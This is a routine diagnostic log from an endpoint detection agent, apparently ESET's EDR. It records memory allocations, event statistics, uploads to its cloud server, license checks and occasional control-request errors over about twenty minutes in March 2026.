2026-03-04 09:53:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:53:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:53:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:53:55 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:49:42, To:, 2026-03-04 09:53:55, Duration (s):, 253, Events Per Second:, 16.286, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3401, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 719, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458683
2026-03-04 09:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1270 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 526 KB; BatchStringTag: 447 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 72 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; BaseEvent: 3 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchSerializer::EventsQueueTag: 1 KB; Total: 65781 KB;
2026-03-04 09:53:56 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s430ms.
2026-03-04 09:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1633 KB; ModuleMetadata: 603 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; TcpIpConnectionsManager: 527 KB; BaseEvent: 183 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 70 KB; BatchSerializer::EventsQueueTag: 47 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65924 KB;
2026-03-04 09:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2031 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 565 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; BaseEvent: 367 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 105 KB; BatchSerializer::EventsQueueTag: 97 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66628 KB;
2026-03-04 09:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2391 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; BaseEvent: 542 KB; BatchSerializer::EventsQueueTag: 144 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 83 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67189 KB;
2026-03-04 09:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2765 KB; BaseEvent: 725 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 545 KB; BatchSerializer::EventsQueueTag: 191 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 100 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67821 KB;
2026-03-04 09:57:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:53:54, To:, 2026-03-04 09:57:58, Duration (s):, 244, Events Per Second:, 16.931, Events:, 4137, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3429, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 460403
2026-03-04 09:57:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s377ms.
2026-03-04 09:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:58:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:58:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:58:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:58:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1696 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; BaseEvent: 170 KB; rules::ProcessConditionsCache: 115 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 46 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66051 KB;
2026-03-04 09:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2081 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; BaseEvent: 350 KB; rules::ProcessConditionsCache: 148 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 95 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66727 KB;
2026-03-04 10:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2454 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 593 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; BaseEvent: 529 KB; BatchSerializer::EventsQueueTag: 143 KB; rules::ProcessConditionsCache: 138 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67318 KB;
2026-03-04 10:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2837 KB; BaseEvent: 717 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 576 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; BatchSerializer::EventsQueueTag: 193 KB; rules::ProcessConditionsCache: 150 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67933 KB;
2026-03-04 10:01:58 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:57:57, To:, 2026-03-04 10:01:57, Duration (s):, 240, Events Per Second:, 17.074, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3431, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 682, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458520
2026-03-04 10:01:59 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s378ms.
2026-03-04 10:02:31 7ff800ffa6c0 Error: Error while sending control request to server at "eu01.agent.edr.eset.systems:8093", certificate was set to: /CN=Agent=c771dbf0-85fb-4c94-8961-6227fa858111. getReply: End of file [asio.misc:2]
2026-03-04 10:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1703 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 567 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; BaseEvent: 173 KB; rules::ProcessConditionsCache: 137 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 46 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66089 KB;
2026-03-04 10:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:03:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:03:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:03:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:03:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2059 KB; ModuleMetadata: 603 KB; TcpIpConnectionsManager: 568 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 562 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 345 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 105 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 91 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66653 KB;
2026-03-04 10:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2464 KB; ModuleMetadata: 603 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 584 KB; TcpIpConnectionsManager: 580 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 528 KB; rules::ProcessConditionsCache: 183 KB; BatchSerializer::EventsQueueTag: 141 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 19 KB; ProcessInfoCommandLineTag: 12 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67410 KB;
2026-03-04 10:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2828 KB; BaseEvent: 712 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; BatchSerializer::EventsQueueTag: 190 KB; rules::ProcessConditionsCache: 127 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67910 KB;
2026-03-04 10:06:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:01:57, To:, 2026-03-04 10:06:01, Duration (s):, 244, Events Per Second:, 16.785, Events:, 4112, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3418, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 691, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456094
2026-03-04 10:06:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s388ms.
2026-03-04 10:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1661 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 581 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 546 KB; BaseEvent: 161 KB; rules::ProcessConditionsCache: 124 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 42 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66036 KB;
2026-03-04 10:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2023 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 548 KB; BaseEvent: 346 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 109 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 90 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66605 KB;
2026-03-04 10:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:08:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:08:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:08:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:08:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2386 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 529 KB; TcpIpConnectionsManager: 527 KB; BatchSerializer::EventsQueueTag: 138 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 98 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67151 KB;
2026-03-04 10:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2802 KB; BaseEvent: 725 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 554 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 529 KB; BatchSerializer::EventsQueueTag: 190 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 112 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67843 KB;
2026-03-04 10:10:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:06:01, To:, 2026-03-04 10:10:02, Duration (s):, 241, Events Per Second:, 16.925, Events:, 4081, File:, 2, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3379, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 699, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455805
2026-03-04 10:10:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s447ms.
2026-03-04 10:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1672 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 558 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; BaseEvent: 166 KB; ModuleInfoCache: 113 KB; rules::ProcessConditionsCache: 104 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 43 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66008 KB;
2026-03-04 10:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2034 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 535 KB; BaseEvent: 343 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 90 KB; rules::ProcessConditionsCache: 87 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66577 KB;
2026-03-04 10:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2344 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 559 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 511 KB; BaseEvent: 498 KB; BatchSerializer::EventsQueueTag: 131 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; rules::ProcessConditionsCache: 14 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66985 KB;
2026-03-04 10:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 10:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 10:13:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 10:13:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 10:13:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 10:13:33 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 10:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2773 KB; BaseEvent: 704 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 577 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; BatchSerializer::EventsQueueTag: 185 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 90 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67806 KB;
2026-03-04 10:14:10 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 10:10:01, To:, 2026-03-04 10:14:10, Duration (s):, 249, Events Per Second:, 16.474, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3406, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457517
2026-03-04 10:14:12 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s382ms.
2026-03-04 10:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1542 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 560 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; BaseEvent: 129 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 49 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 33 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65782 KB;
2026-03-04 10:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1929 KB; ModuleMetadata: 604 KB; TcpIpConnectionsManager: 585 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 564 KB; rules::AncestorEvaluations: 552 KB; BaseEvent: 319 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; BatchSerializer::EventsQueueTag: 83 KB; rules::ProcessConditionsCache: 70 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66472 KB;
2026-03-04 10:16:31 7ff800ffa6c0 Error: Error while sending control request to server at "eu01.agent.edr.eset.systems:8093", certificate was set to: /CN=Agent=c771dbf0-85fb-4c94-8961-6227fa858111. getReply: End of file [asio.misc:2]
2026-03-04 10:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2297 KB; ModuleMetadata: 604 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 566 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; BaseEvent: 498 KB; BatchSerializer::EventsQueueTag: 131 KB; ModuleInfoCache: 113 KB; CacheEntry: 97 KB; rules::ProcessConditionsCache: 67 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67028 KB;
